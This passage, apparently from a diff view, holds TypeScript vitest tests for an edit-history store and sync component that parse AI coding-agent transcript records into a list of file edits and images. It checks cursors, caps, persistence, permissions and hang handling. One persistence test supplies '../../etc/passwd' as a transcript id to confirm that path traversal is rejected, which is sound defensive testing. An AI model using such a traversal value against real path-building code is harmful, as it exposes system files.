import { mkdtempSync, rmSync, utimesSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { EditHistoryStore } from '../src/edit-history-store.js';
import { probeLocalPaths, type EditSources } from '../src/edit-history-local-source.js';
import { EditHistorySync, type EditHistorySession } from '../src/web/edit-history-sync.js';
const T0 = Date.parse('2026-10-15T20:00:00.000Z');
const session: EditHistorySession = { id: 's1', mode: 'claude', remote: undefined, claudeSessionId: 'conv1' };
function bashPair(id: string, start: number, end: number, stdout: string): string {
const use = {
type: 'assistant',
timestamp: new Date(start).toISOString(),
cwd: '/w',
message: { role: 'assistant', content: [{ type: 'tool_use', id, name: 'Bash', input: { command: 'render' } }] },
};
const res = {
type: 'user',
timestamp: new Date(end).toISOString(),
cwd: '/w',
message: { role: 'user', content: [{ tool_use_id: id, type: 'tool_result', content: stdout }] },
toolUseResult: { stdout, stderr: '', interrupted: false, isImage: false },
};
return JSON.stringify(use) + '\n' + JSON.stringify(res) + '\n';
}
/** Rejects after `ms`, so a hang fails the test instead of timing it out silently. */
function within<T>(p: Promise<T>, ms: number, what: string): Promise<T> {
return Promise.race([
p,
new Promise<T>((_, reject) => setTimeout(() => reject(new Error(`${what} still pending after ${ms} ms`)), ms)),
]);
}
let dir: string;
let stores: string;
beforeEach(() => {
dir = mkdtempSync(join(tmpdir(), 'edit-stall-'));
stores = join(dir, 'stores');
});
afterEach(() => {
rmSync(dir, { recursive: true, force: true });
});
describe('edit history image probe on an unresponsive mount', () => {
it('finishes sync, a queued sync and remove() while one printed path never answers', async () => {
const ok = join(dir, 'ok.png');
writeFileSync(ok, 'PNG!');
utimesSync(ok, new Date(T0 + 2000), new Date(T0 + 2000));
let main = Buffer.from(bashPair('b1', T0, T0 + 5000, `${DEAD}/plots/a.png\nsaved ${ok}\n`));
const sync = new EditHistorySync({
transcriptPath: async () => '/p/conv1.jsonl',
readSources: async (_session, _path, requests, budget): Promise<EditSources> => {
const req = requests.find((r) => r.relPath === 'main');
const start = Math.min(req?.offset ?? 0, main.length);
const len = Math.min(budget, main.length - start);
return {
transcriptId: 'conv1',
files: [{ relPath: 'main', size: main.length, startOffset: start, chunk: main.subarray(start, start + len) }],
metas: {},
};
},
probe: (_session, paths) => probeLocalPaths(paths),
loadStore: (id) => EditHistoryStore.load(id, { dir: stores, debounceMs: 0 }),
deleteStore: (id) => EditHistoryStore.delete(id, { dir: stores }),
sweepStores: async () => 0,
});
const first = sync.sync(session);
main = Buffer.concat([main, Buffer.from(bashPair('b2', T0 + 6000, T0 + 7000, `${DEAD}/plots/b.png\n`))]);
const second = sync.sync(session);
expect(await within(first, 1500, 'first sync')).toEqual({ state: 'ok' });
expect(await within(second, 1500, 'queued sync')).toEqual({ state: 'ok' });
expect((await sync.getStore('s1')).list().map((e) => e.path)).toEqual([ok]);
await within(sync.remove('s1'), 1500, 'remove()');
});
});
+704
View File
@@ -0,0 +1,704 @@
/**
* Edit history store: byte ranges, cursors, dedupe, cap, persistence.
* Transcript bytes are built from JSONL lines shaped like real claude records.
*/
import { mkdtempSync, rmSync, existsSync, readdirSync, readFileSync, statSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
import {
EditHistoryStore,
entryBytes,
MAIN_SOURCE,
MAX_AGENT_META_CHARS,
MAX_AGENTS,
MAX_ENTRIES,
MAX_FILE_BYTES,
MAX_STORE_BYTES,
parseAgentMeta,
READ_BUDGET_BYTES,
TMP_TAG,
} from '../src/edit-history-store.js';
import { MAX_HUNK_BYTES } from '../src/edit-history-parse.js';
let dir: string;
beforeEach(() => {
dir = mkdtempSync(join(tmpdir(), 'edit-history-store-'));
});
afterEach(() => {
rmSync(dir, { recursive: true, force: true });
});
const T0 = Date.parse('2026-10-15T19:00:00.000Z');
const iso = (s: number) => new Date(T0 + s * 1000).toISOString();
function editLine(id: string, sec: number, path = `/work/${id}.ts`, extra: Record<string, unknown> = {}): string {
return JSON.stringify({
type: 'user',
timestamp: iso(sec),
cwd: '/work',
message: { role: 'user', content: [{ tool_use_id: id, type: 'tool_result', content: 'ok' }] },
toolUseResult: {
filePath: path,
oldString: 'a',
newString: 'b',
originalFile: 'a',
structuredPatch: [{ oldStart: 1, oldLines: 1, newStart: 1, newLines: 1, lines: ['-a', '+b'] }],
userModified: false,
replaceAll: false,
},
...extra,
});
}
/** An Edit whose diff carries `size` bytes of added text. */
function bigEditLine(id: string, sec: number, size: number): string {
const line = JSON.parse(editLine(id, sec));
line.toolUseResult.structuredPatch[0].lines = ['-a', '+' + 'x'.repeat(size)];
return JSON.stringify(line);
}
function bashUse(id: string, sec: number, command: string): string {
return JSON.stringify({
type: 'assistant',
timestamp: iso(sec),
cwd: '/work',
message: { role: 'assistant', content: [{ type: 'tool_use', id, name: 'Bash', input: { command } }] },
});
}
function bashResult(id: string, sec: number): string {
return JSON.stringify({
type: 'user',
timestamp: iso(sec),
cwd: '/work',
message: { role: 'user', content: [{ tool_use_id: id, type: 'tool_result', content: '' }] },
toolUseResult: { stdout: '', stderr: '', interrupted: false, isImage: false },
});
}
const jsonl = (lines: string[]) => Buffer.from(lines.map((l) => l + '\n').join(''));
/**
* Read like the reader (edit-history-local-source.ts): on from the cursor of the current
* conversation (clamped to the size), else the file's last `budget` bytes; then apply.
* Null when nothing is new.
*/
function syncForward(
store: EditHistoryStore,
file: Buffer,
budget = READ_BUDGET_BYTES,
source = MAIN_SOURCE,
tid = 'conv-1'
) {
const cursor = tid === store.getTranscriptId() ? store.getCursor(source) : undefined;
const offset = cursor ? Math.min(cursor.offset, file.length) : Math.max(0, file.length - budget);
const len = Math.min(budget, file.length - offset);
if (cursor && offset === cursor.offset && len === 0) return null;
const chunk = file.subarray(offset, offset + len);
return store.apply({ transcriptId: tid, source, startOffset: offset, chunk, size: file.length });
}
function syncOlder(store: EditHistoryStore, file: Buffer, budget?: number, source = MAIN_SOURCE, tid = 'conv-1') {
const range = store.olderRange(source, budget);
if (!range) return null;
const chunk = file.subarray(range.offset, range.offset + range.len);
return store.applyOlder({ transcriptId: tid, source, startOffset: range.offset, chunk, size: file.length });
}
const ids = (store: EditHistoryStore) => store.list().map((e) => e.id);
describe('EditHistoryStore: forward reads', () => {
it('reads a small file whole, then only what was appended', () => {
const store = new EditHistoryStore('s1', { dir });
let file = jsonl([editLine('e1', 1), editLine('e2', 2)]);
expect(syncForward(store, file)?.added).toBe(2);
expect(store.getCursor(MAIN_SOURCE)).toEqual({ offset: file.length, floor: 0 });
expect(syncForward(store, file)).toBeNull();
file = Buffer.concat([file, jsonl([editLine('e3', 3)])]);
expect(syncForward(store, file)?.added).toBe(1);
expect(ids(store)).toEqual(['e3', 'e2', 'e1']);
expect(store.backfillTruncated).toBe(false);
});
it('leaves a partial last line (still being written) for the next read', () => {
const store = new EditHistoryStore('s1', { dir });
const full = jsonl([editLine('e1', 1), editLine('e2', 2)]);
const firstLineEnd = full.indexOf(0x0a) + 1;
const partial = full.subarray(0, firstLineEnd + 30);
expect(syncForward(store, partial)?.added).toBe(1);
expect(store.getCursor(MAIN_SOURCE)?.offset).toBe(firstLineEnd);
expect(syncForward(store, full)?.added).toBe(1);
expect(ids(store)).toEqual(['e2', 'e1']);
});
it('deduplicates by tool_use_id', () => {
const store = new EditHistoryStore('s1', { dir });
const file = jsonl([editLine('e1', 1), editLine('e1', 1)]);
expect(syncForward(store, file)?.added).toBe(1);
expect(store.list()).toHaveLength(1);
});
it('starts a large file near its end, drops the cut line and keeps the floor there', () => {
const store = new EditHistoryStore('s1', { dir });
const lines = Array.from({ length: 20 }, (_, i) => editLine(`e${i}`, i));
const file = jsonl(lines);
const budget = Math.floor(file.length / 3);
syncForward(store, file, budget);
const cursor = store.getCursor(MAIN_SOURCE)!;
expect(cursor.offset).toBe(file.length);
expect(cursor.floor).toBeGreaterThan(file.length - budget);
expect(file[cursor.floor - 1]).toBe(0x0a);
expect(store.backfillTruncated).toBe(true);
expect(ids(store)[0]).toBe('e19');
expect(ids(store)).not.toContain('e0');
});
it('reads a backlog in budget-sized forward steps without losing a line', () => {
const store = new EditHistoryStore('s1', { dir });
const first = jsonl([editLine('e0', 0)]);
syncForward(store, first);
const more = Array.from({ length: 30 }, (_, i) => editLine(`e${i + 1}`, i + 1));
const file = Buffer.concat([first, jsonl(more)]);
const budget = 700;
for (let i = 0; i < 100 && syncForward(store, file, budget); i++);
expect(store.list()).toHaveLength(31);
expect(store.getCursor(MAIN_SOURCE)?.offset).toBe(file.length);
});
it('skips a line longer than the budget instead of re-reading it forever', () => {
const store = new EditHistoryStore('s1', { dir });
const huge = editLine('big', 1, '/work/big.ts', { pad: 'x'.repeat(5000) });
const first = jsonl([editLine('e0', 0)]);
syncForward(store, first);
const file = Buffer.concat([first, jsonl([huge, editLine('e2', 2)])]);
for (let i = 0; i < 50 && syncForward(store, file, 1000); i++);
expect(ids(store)).toEqual(['e2', 'e0']);
expect(store.getCursor(MAIN_SOURCE)?.offset).toBe(file.length);
});
it('reads the line after a skipped one whole, wherever it falls against the chunk grid', async () => {
const budget = 1000;
const first = jsonl([editLine('e0', 0)]);
const lost: number[] = [];
for (let pad = 0; pad < budget; pad++) {
const store = new EditHistoryStore('s1', { dir, debounceMs: 60_000 });
syncForward(store, first);
const huge = JSON.stringify({ type: 'user', message: { content: 'h'.repeat(2400 + pad) } });
const next = editLine('next', 2, '/work/next.ts', { pad: 'p'.repeat(300) }); // < budget
const file = Buffer.concat([first, jsonl([huge, next, editLine('e3', 3)])]);
for (let i = 0; i < 50 && syncForward(store, file, budget); i++);
if (!store.get('next') || !store.get('e3')) lost.push(pad);
await store.remove();
}
expect(lost).toEqual([]);
});
it('keeps a multibyte character split by the chunk boundary intact', () => {
const store = new EditHistoryStore('s1', { dir });
const path = '/work/Größe – Ümlaut 😀.ts';
const file = jsonl([editLine('e1', 1), editLine('e2', 2, path)]);
const emoji = file.indexOf(Buffer.from('😀'));
// Cut inside the 4-byte emoji, then continue.
const cut = file.subarray(0, emoji + 2);
syncForward(store, cut);
syncForward(store, file);
expect(store.get('e2')?.path).toBe(path);
});
it('restarts a file that shrank (replaced) from its end, with the next read', () => {
const store = new EditHistoryStore('s1', { dir });
syncForward(store, jsonl([editLine('e1', 1), editLine('e2', 2)]));
const replaced = jsonl([editLine('n1', 3)]);
// The reader clamps the cursor to the size: an empty chunk at the end, and the cursor goes.
expect(syncForward(store, replaced)?.added).toBe(0);
expect(store.getCursor(MAIN_SOURCE)).toBeUndefined();
expect(syncForward(store, replaced)?.added).toBe(1);
expect(store.getCursor(MAIN_SOURCE)?.offset).toBe(replaced.length);
});
it('ignores a chunk that does not start at the cursor', () => {
const store = new EditHistoryStore('s1', { dir });
const file = jsonl([editLine('e1', 1), editLine('e2', 2)]);
syncForward(store, file);
const res = store.apply({ transcriptId: 'conv-1', source: MAIN_SOURCE, startOffset: 3, chunk: file, size: 999 });
expect(res.added).toBe(0);
});
});
describe('EditHistoryStore: conversations and sources', () => {
it('starts new cursors for a new transcriptId and keeps the old entries', () => {
const store = new EditHistoryStore('s1', { dir });
syncForward(store, jsonl([editLine('e1', 1)]));
const second = jsonl([editLine('f1', 5)]);
syncForward(store, second, undefined, MAIN_SOURCE, 'conv-2');
expect(store.getTranscriptId()).toBe('conv-2');
expect(ids(store)).toEqual(['f1', 'e1']);
});
it('keeps one cursor per source and the subagent id on its entries', () => {
const store = new EditHistoryStore('s1', { dir });
const main = jsonl([editLine('m1', 1)]);
const sub = jsonl([editLine('s1', 2, '/work/s.ts', { isSidechain: true, agentId: 'a1' })]);
const subSource = 'subagents/agent-a1.jsonl';
syncForward(store, main);
syncForward(store, sub, undefined, subSource);
expect(store.getCursor(MAIN_SOURCE)?.offset).toBe(main.length);
expect(store.getCursor(subSource)?.offset).toBe(sub.length);
expect(store.get('s1')?.agentId).toBe('a1');
});
it('records agent meta from meta.json text', () => {
const store = new EditHistoryStore('s1', { dir });
store.setAgentMeta(
'a1',
JSON.stringify({
agentType: 'coding',
description: 'Impl: fix',
worktreePath: '/w/.claude/worktrees/agent-a1',
worktreeBranch: 'worktree-agent-a1',
toolUseId: 'toolu_x',
})
);
store.setAgentMeta('a2', 'not json');
expect(store.getAgents()).toEqual({
a1: {
description: 'Impl: fix',
agentType: 'coding',
worktreePath: '/w/.claude/worktrees/agent-a1',
worktreeBranch: 'worktree-agent-a1',
},
});
expect(store.hasAgentMeta('a2')).toBe(false);
expect(parseAgentMeta('{"description":"d"}')).toEqual({ description: 'd', agentType: '' });
});
});
describe('EditHistoryStore: older blocks', () => {
it('loads older lines block by block down to the start, without duplicates at the seam', () => {
const store = new EditHistoryStore('s1', { dir });
const file = jsonl(Array.from({ length: 30 }, (_, i) => editLine(`e${i}`, i)));
const budget = Math.floor(file.length / 4);
syncForward(store, file, budget);
const before = store.list().length;
expect(before).toBeLessThan(30);
let rounds = 0;
while (syncOlder(store, file, budget) && rounds < 20) rounds++;
expect(rounds).toBeGreaterThan(1);
expect(store.list()).toHaveLength(30);
expect(store.getCursor(MAIN_SOURCE)?.floor).toBe(0);
expect(store.backfillTruncated).toBe(false);
expect(store.olderRange(MAIN_SOURCE, budget)).toBeNull();
});
it('skips a line longer than the budget going back and reaches the lines before it', () => {
const store = new EditHistoryStore('s1', { dir });
const huge = JSON.stringify({ type: 'user', message: { content: 'x'.repeat(6000) } });
const older = Array.from({ length: 10 }, (_, i) => editLine(`old${i}`, i));
const newer = Array.from({ length: 5 }, (_, i) => editLine(`new${i}`, 100 + i));
const file = jsonl([...older, huge, ...newer]);
const budget = 4000;
syncForward(store, file, budget);
expect(ids(store).sort()).toEqual(newer.map((_, i) => `new${i}`).sort());
let rounds = 0;
while (syncOlder(store, file, budget) && rounds < 30) rounds++;
expect(store.list()).toHaveLength(15);
expect(store.getCursor(MAIN_SOURCE)).toMatchObject({ floor: 0 });
expect(store.getCursor(MAIN_SOURCE)?.floorMidLine).toBeUndefined();
expect(store.backfillTruncated).toBe(false);
});
it('going back, reads the line before a skipped one whole, wherever it falls against the block grid', async () => {
const budget = 1000;
const huge = JSON.stringify({ type: 'user', message: { content: 'h'.repeat(2500) } });
const lost: number[] = [];
for (let pad = 0; pad < budget; pad++) {
const store = new EditHistoryStore('s1', { dir, debounceMs: 60_000 });
const lines = [editLine('p0', 0), editLine('p1', 1), editLine('before', 2), huge];
for (let i = 0; i < 6; i++)
lines.push(editLine(`t${i}`, 10 + i, `/work/t${i}.ts`, i === 0 ? { pad: 'p'.repeat(pad) } : {}));
const file = jsonl(lines);
syncForward(store, file, budget);
for (let i = 0; i < 50 && syncOlder(store, file, budget); i++);
if (!store.get('before') || !store.get('p0')) lost.push(pad);
await store.remove();
}
expect(lost).toEqual([]);
});
it('a source whose file is gone (dropSource) offers no older lines and keeps its entries', () => {
const store = new EditHistoryStore('s1', { dir });
const sub = 'subagents/agent-a1.jsonl';
const file = jsonl(Array.from({ length: 10 }, (_, i) => editLine(`s${i}`, i, `/work/s${i}.ts`, { agentId: 'a1' })));
syncForward(store, file, 400, sub);
expect(store.sourcesWithOlder()).toEqual([sub]);
const kept = ids(store);
store.dropSource(sub);
expect(store.getCursor(sub)).toBeUndefined();
expect(store.backfillTruncated).toBe(false);
expect(ids(store)).toEqual(kept);
});
it('refuses an older chunk that does not end at the floor', () => {
const store = new EditHistoryStore('s1', { dir });
const file = jsonl(Array.from({ length: 10 }, (_, i) => editLine(`e${i}`, i)));
syncForward(store, file, 300);
const res = store.applyOlder({
transcriptId: 'conv-1',
source: MAIN_SOURCE,
startOffset: 0,
chunk: file.subarray(0, 10),
size: file.length,
});
expect(res.added).toBe(0);
});
});
describe('EditHistoryStore: Bash images', () => {
it('pairs a Bash call and its result across a chunk boundary', () => {
const store = new EditHistoryStore('s1', { dir });
const part1 = jsonl([bashUse('b1', 1, 'python render.py -o out/frame.png')]);
const file = Buffer.concat([part1, jsonl([bashResult('b1', 4)])]);
expect(syncForward(store, part1)?.candidates).toEqual([]);
const res = syncForward(store, file)!;
expect(res.candidates).toEqual([
{ toolUseId: 'b1', start: T0 + 1000, end: T0 + 4000, paths: ['/work/out/frame.png'] },
]);
});
it('adds confirmed images as entries without a diff, once', () => {
const store = new EditHistoryStore('s1', { dir });
const img = { toolUseId: 'b1', path: '/work/out/frame.png', ts: T0 + 4000, agentId: 'a1' };
expect(store.addImageEntries([img, img])).toBe(1);
expect(store.addImageEntries([img])).toBe(0);
expect(store.list()[0]).toEqual({
id: 'b1:/work/out/frame.png',
ts: T0 + 4000,
path: '/work/out/frame.png',
kind: 'image',
tool: 'bash',
created: false,
added: 0,
removed: 0,
hunks: [],
truncated: false,
agentId: 'a1',
});
});
});
describe('EditHistoryStore: cap', () => {
it(`keeps the newest ${MAX_ENTRIES} entries`, () => {
const store = new EditHistoryStore('s1', { dir });
const file = jsonl(Array.from({ length: MAX_ENTRIES + 20 }, (_, i) => editLine(`e${i}`, i)));
const res = syncForward(store, file, file.length);
expect(res?.added).toBe(MAX_ENTRIES);
expect(store.list()).toHaveLength(MAX_ENTRIES);
expect(store.get('e19')).toBeUndefined();
expect(store.get('e20')).toBeDefined();
// Older than everything kept: counts as nothing added.
expect(store.addImageEntries([{ toolUseId: 'old', path: '/a.png', ts: T0 - 1000 }])).toBe(0);
});
it('offers no older block once the cap is full (it would be dropped on read)', () => {
const store = new EditHistoryStore('s1', { dir });
const lines = Array.from({ length: MAX_ENTRIES + 20 }, (_, i) => editLine(`e${i}`, i));
const file = jsonl(lines);
const tail = jsonl(lines.slice(-MAX_ENTRIES)).length;
syncForward(store, file, tail + 10);
expect(store.list()).toHaveLength(MAX_ENTRIES);
expect(store.getCursor(MAIN_SOURCE)!.floor).toBeGreaterThan(0);
expect(store.backfillTruncated).toBe(false);
});
it(`keeps at most ${MAX_STORE_BYTES} bytes of diff text, dropping the oldest`, () => {
const store = new EditHistoryStore('s1', { dir });
const n = 300;
const file = jsonl(Array.from({ length: n }, (_, i) => bigEditLine(`e${i}`, i, 20_000)));
syncForward(store, file, file.length);
const kept = store.list();
expect(kept.length).toBeLessThan(n);
expect(kept.reduce((sum, e) => sum + entryBytes(e), 0)).toBeLessThanOrEqual(MAX_STORE_BYTES);
expect(store.get(`e${n - 1}`)).toBeDefined();
expect(store.get('e0')).toBeUndefined();
});
it('offers no older block once the byte cap is full', () => {
const store = new EditHistoryStore('s1', { dir });
const file = jsonl(Array.from({ length: 300 }, (_, i) => bigEditLine(`e${i}`, i, 20_000)));
syncForward(store, file, 5_000_000);
expect(store.list().length).toBeLessThan(MAX_ENTRIES);
expect(store.getCursor(MAIN_SOURCE)!.floor).toBeGreaterThan(0);
expect(store.backfillTruncated).toBe(false);
});
it('caps the agent meta strings', () => {
const meta = parseAgentMeta(JSON.stringify({ description: 'd'.repeat(5000), agentType: 'coding' }));
expect(meta?.description).toHaveLength(MAX_AGENT_META_CHARS);
expect(meta?.agentType).toBe('coding');
});
it(`keeps at most ${MAX_AGENTS} subagent labels, dropping the oldest no entry uses`, () => {
const store = new EditHistoryStore('s1', { dir });
syncForward(store, jsonl([editLine('e1', 1, '/work/a.ts', { agentId: 'a0' })]));
for (let i = 0; i <= MAX_AGENTS + 4; i++) store.setAgentMeta(`a${i}`, `{"description":"d${i}"}`);
const agents = store.getAgents();
expect(Object.keys(agents)).toHaveLength(MAX_AGENTS);
expect(agents.a0).toBeDefined(); // used by an entry
expect(agents[`a${MAX_AGENTS + 4}`]).toBeDefined(); // the newest
expect(agents.a1).toBeUndefined();
});
});
describe('EditHistoryStore: persistence', () => {
it('reloads entries, cursors, pending Bash calls and agents from disk', async () => {
const store = new EditHistoryStore('s1', { dir, debounceMs: 60_000 });
const file = jsonl([editLine('e1', 1), bashUse('b1', 2, 'render > a.png')]);
syncForward(store, file);
store.setAgentMeta('a1', '{"description":"d","agentType":"coding"}');
await store.flush();
const loaded = await EditHistoryStore.load('s1', { dir });
expect(ids(loaded)).toEqual(['e1']);
expect(loaded.getCursor(MAIN_SOURCE)).toEqual(store.getCursor(MAIN_SOURCE));
expect(loaded.getTranscriptId()).toBe('conv-1');
expect(loaded.getAgents()).toEqual({ a1: { description: 'd', agentType: 'coding' } });
const done = Buffer.concat([file, jsonl([bashResult('b1', 3)])]);
expect(syncForward(loaded, done)?.candidates[0]?.paths).toEqual(['/work/a.png']);
});
it('writes the file 0600 in a 0700 directory, also over a wider existing file', async () => {
const sub = join(dir, 'edit-history');
const store = new EditHistoryStore('s1', { dir: sub, debounceMs: 60_000 });
syncForward(store, jsonl([editLine('e1', 1)]));
await store.flush();
expect(statSync(sub).mode & 0o777).toBe(0o700);
expect(statSync(join(sub, 's1.json')).mode & 0o777).toBe(0o600);
writeFileSync(join(sub, 's1.json'), '{}', { mode: 0o644 });
await store.flush();
expect(statSync(join(sub, 's1.json')).mode & 0o777).toBe(0o600);
});
it('applies the caps and drops malformed entries when loading', async () => {
const store = new EditHistoryStore('s1', { dir, debounceMs: 60_000 });
syncForward(store, jsonl(Array.from({ length: MAX_ENTRIES }, (_, i) => editLine(`e${i}`, i))));
await store.flush();
const data = JSON.parse(readFileSync(join(dir, 's1.json'), 'utf-8'));
const extra = JSON.parse(editLine('late', MAX_ENTRIES + 1));
data.entries.push(
{ ...store.get('e0')!, id: 'newest', ts: T0 + 10_000_000 },
{ id: 'broken', path: 7, hunks: [] },
{ id: 'nohunks', path: '/a.ts' },
extra
);
writeFileSync(join(dir, 's1.json'), JSON.stringify(data));
const loaded = await EditHistoryStore.load('s1', { dir });
expect(loaded.list()).toHaveLength(MAX_ENTRIES);
expect(loaded.get('newest')).toBeDefined();
expect(loaded.get('e0')).toBeUndefined();
expect(loaded.get('broken')).toBeUndefined();
expect(loaded.get('nohunks')).toBeUndefined();
});
it('drops broken cursors, pending Bash calls and agent labels when loading (a damaged file)', async () => {
writeFileSync(
join(dir, 's1.json'),
JSON.stringify({
version: 1,
sessionId: 's1',
transcriptId: 'conv-1',
cursors: {
main: { offset: 1.5, floor: 0 },
'subagents/agent-x.jsonl': { offset: -5, floor: 0 },
'subagents/agent-y.jsonl': { offset: 10, floor: 20 },
'subagents/agent-z.jsonl': { offset: 10, floor: 5, floorMidLine: true },
},
pendingBash: [null, 7, { id: 'b1', ts: 1, command: 'render > a.png', cwd: '/work' }],
agents: { x: null, y: 'text', z: { description: 'd', agentType: 'coding' } },
entries: [{ id: 'e1', ts: 1, path: '/a.ts', hunks: [null] }],
})
);
const loaded = await EditHistoryStore.load('s1', { dir });
expect(loaded.knownSources()).toEqual(['subagents/agent-z.jsonl']);
expect(loaded.getCursor('subagents/agent-z.jsonl')).toEqual({ offset: 10, floor: 5, floorMidLine: true });
expect(loaded.getAgents()).toEqual({ z: { description: 'd', agentType: 'coding' } });
expect(loaded.list()).toEqual([]);
// The surviving pending call still pairs with its result, and nothing throws.
expect(syncForward(loaded, jsonl([bashResult('b1', 3)]))?.candidates[0]?.paths).toEqual(['/work/a.png']);
});
it('rebuilds loaded entries under the same bounds: known fields only, string diff lines, the per-edit cap', async () => {
const good = {
ts: 1,
path: '/a.ts',
kind: 'code',
tool: 'Edit',
created: false,
added: 1,
removed: 0,
truncated: false,
};
writeFileSync(
join(dir, 's1.json'),
JSON.stringify({
version: 1,
sessionId: 's1',
transcriptId: 'conv-1',
cursors: {},
pendingBash: [
{ id: 'b1', ts: 1, command: 'ls', cwd: '/work' },
{ id: 'b2', ts: 1, command: 'ls', cwd: '/' + 'c'.repeat(5000) },
{ id: 'p'.repeat(5000), ts: 1, command: 'ls', cwd: '/work' },
],
agents: { ['a'.repeat(MAX_AGENT_META_CHARS + 1)]: { description: 'd', agentType: 't' } },
entries: [
{ ...good, id: 'extra', hunks: [], blob: 'x'.repeat(1000) },
{ ...good, id: 'objlines', hunks: [{ oldStart: 1, lines: [{ k: 'y' }, '+kept'] }] },
{ ...good, id: 'bighunk', hunks: [{ lines: ['+' + 'q'.repeat(MAX_HUNK_BYTES)] }] },
{ ...good, id: 'badtool', tool: 'Rm', hunks: [] },
],
})
);
const loaded = await EditHistoryStore.load('s1', { dir, debounceMs: 60_000 });
expect(
loaded
.list()
.map((e) => e.id)
.sort()
).toEqual(['bighunk', 'extra', 'objlines']);
expect(loaded.get('extra')).not.toHaveProperty('blob');
expect(loaded.get('objlines')!.hunks[0].lines).toEqual(['+kept']);
expect(loaded.get('bighunk')).toMatchObject({ truncated: true, hunks: [{ lines: [] }] });
expect(loaded.getAgents()).toEqual({});
await loaded.flush();
expect(
JSON.parse(readFileSync(join(dir, 's1.json'), 'utf-8')).pendingBash.map((p: { id: string }) => p.id)
).toEqual(['b1']);
});
it("counts an entry's id against the byte cap", () => {
const e = {
id: 'i'.repeat(1000),
ts: 1,
path: '/a.ts',
kind: 'code',
tool: 'Edit',
created: false,
added: 0,
removed: 0,
hunks: [],
truncated: false,
} as const;
expect(entryBytes(e) - entryBytes({ ...e, id: 'i' })).toBe(999);
});
it(`does not parse a store file larger than ${MAX_FILE_BYTES} bytes`, async () => {
const store = new EditHistoryStore('s1', { dir, debounceMs: 60_000 });
syncForward(store, jsonl([editLine('e1', 1)]));
await store.flush();
const text = readFileSync(join(dir, 's1.json'), 'utf-8');
expect((await EditHistoryStore.load('s1', { dir })).get('e1')).toBeDefined();
writeFileSync(join(dir, 's1.json'), text + ' '.repeat(MAX_FILE_BYTES)); // still valid JSON
expect((await EditHistoryStore.load('s1', { dir })).list()).toEqual([]);
});
it('sweep() deletes the histories of sessions that are gone and stale tmp files, nothing else', async () => {
for (const name of [
'live.json',
'gone.json',
`gone.json.${process.pid + 1}.tmp`,
// An earlier run that had this process's pid (a container's pid 1): stale as well.
`live.json.${process.pid}.tmp`,
`live.json.${process.pid}-0a1b2c3d.tmp`,
`live.json.${TMP_TAG}.tmp`,
'notes.txt',
]) {
writeFileSync(join(dir, name), '{}');
}
expect(await EditHistoryStore.sweep((id) => id === 'live', { dir })).toBe(1);
expect(readdirSync(dir).sort()).toEqual([`live.json.${TMP_TAG}.tmp`, 'live.json', 'notes.txt'].sort());
expect(await EditHistoryStore.sweep(() => false, { dir: join(dir, 'missing') })).toBe(0);
});
it('takes only a plain transcript id from the file (the sync builds a path from it)', async () => {
const cursors = { main: { offset: 10, floor: 0 } };
for (const transcriptId of ['../../etc/passwd', 'a/b', '', 7]) {
writeFileSync(join(dir, 's1.json'), JSON.stringify({ version: 1, transcriptId, cursors, entries: [] }));
const store = await EditHistoryStore.load('s1', { dir });
expect(store.getTranscriptId()).toBeNull();
expect(store.knownSources()).toEqual([]); // offsets into no known conversation
}
writeFileSync(join(dir, 's1.json'), JSON.stringify({ version: 1, transcriptId: 'conv-1.a_b', cursors }));
const store = await EditHistoryStore.load('s1', { dir });
expect(store.getTranscriptId()).toBe('conv-1.a_b');
expect(store.knownSources()).toEqual(['main']);
});
it('settle() writes pending changes and nothing for a store without any', async () => {
const store = new EditHistoryStore('s1', { dir, debounceMs: 60_000 });
syncForward(store, jsonl([editLine('e1', 1)]));
await store.settle();
expect((await EditHistoryStore.load('s1', { dir })).get('e1')).toBeDefined();
const loaded = await EditHistoryStore.load('s1', { dir });
rmSync(join(dir, 's1.json'));
await loaded.settle();
await new EditHistoryStore('empty', { dir }).settle();
expect(readdirSync(dir)).toEqual([]);
});
it('delete() removes a stored history without parsing it', async () => {
writeFileSync(join(dir, 's1.json'), 'not json');
await EditHistoryStore.delete('s1', { dir });
await EditHistoryStore.delete('missing', { dir });
expect(readdirSync(dir)).toEqual([]);
});
it('ignores a file of an unknown version', async () => {
writeFileSync(join(dir, 'v9.json'), JSON.stringify({ version: 9, entries: [{ id: 'x' }] }));
expect((await EditHistoryStore.load('v9', { dir })).list()).toEqual([]);
});
it('writes debounced', async () => {
const store = new EditHistoryStore('s1', { dir, debounceMs: 20 });
syncForward(store, jsonl([editLine('e1', 1)]));
const path = join(dir, 's1.json');
expect(existsSync(path)).toBe(false);
await new Promise((r) => setTimeout(r, 80));
expect(JSON.parse(readFileSync(path, 'utf-8')).entries).toHaveLength(1);
});
it('starts empty from a missing or corrupt file', async () => {
expect((await EditHistoryStore.load('none', { dir })).list()).toEqual([]);
const store = new EditHistoryStore('bad', { dir });
await store.flush();
writeFileSync(join(dir, 'bad.json'), '{broken');
expect((await EditHistoryStore.load('bad', { dir })).list()).toEqual([]);
});
it('remove() deletes the file and stops later writes', async () => {
const store = new EditHistoryStore('s1', { dir, debounceMs: 10 });
syncForward(store, jsonl([editLine('e1', 1)]));
await store.flush();
await store.remove();
expect(existsSync(join(dir, 's1.json'))).toBe(false);
syncForward(store, jsonl([editLine('e1', 1), editLine('e2', 2)]));
await new Promise((r) => setTimeout(r, 40));
await store.flush();
expect(existsSync(join(dir, 's1.json'))).toBe(false);
expect(store.list()).toEqual([]); // the content is forgotten too
});
it('remove() during a write leaves nothing behind (the write cannot rename over the deleted file)', async () => {
const store = new EditHistoryStore('s1', { dir, debounceMs: 60_000 });
syncForward(store, jsonl([editLine('e1', 1)]));
const writing = store.flush();
// Let the write get past its first check, so remove() meets it under way.
await new Promise((r) => setImmediate(r));
await Promise.all([writing, store.remove()]);
expect(readdirSync(dir)).toEqual([]);
});
it('defaults to the data directory', () => {
const store = new EditHistoryStore('s1');
expect((store as unknown as { file: string }).file).toMatch(/edit-history[\\/]s1\.json$/);
});
});
+774
View File
@@ -0,0 +1,774 @@
/**
* Edit history sync: reader, store, image confirmation, single-flight, failure states and the
* "reads only on request" wiring. Reader and probe are fakes; the store is real (temp dir).
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { existsSync, mkdtempSync, readdirSync, readFileSync, rmSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
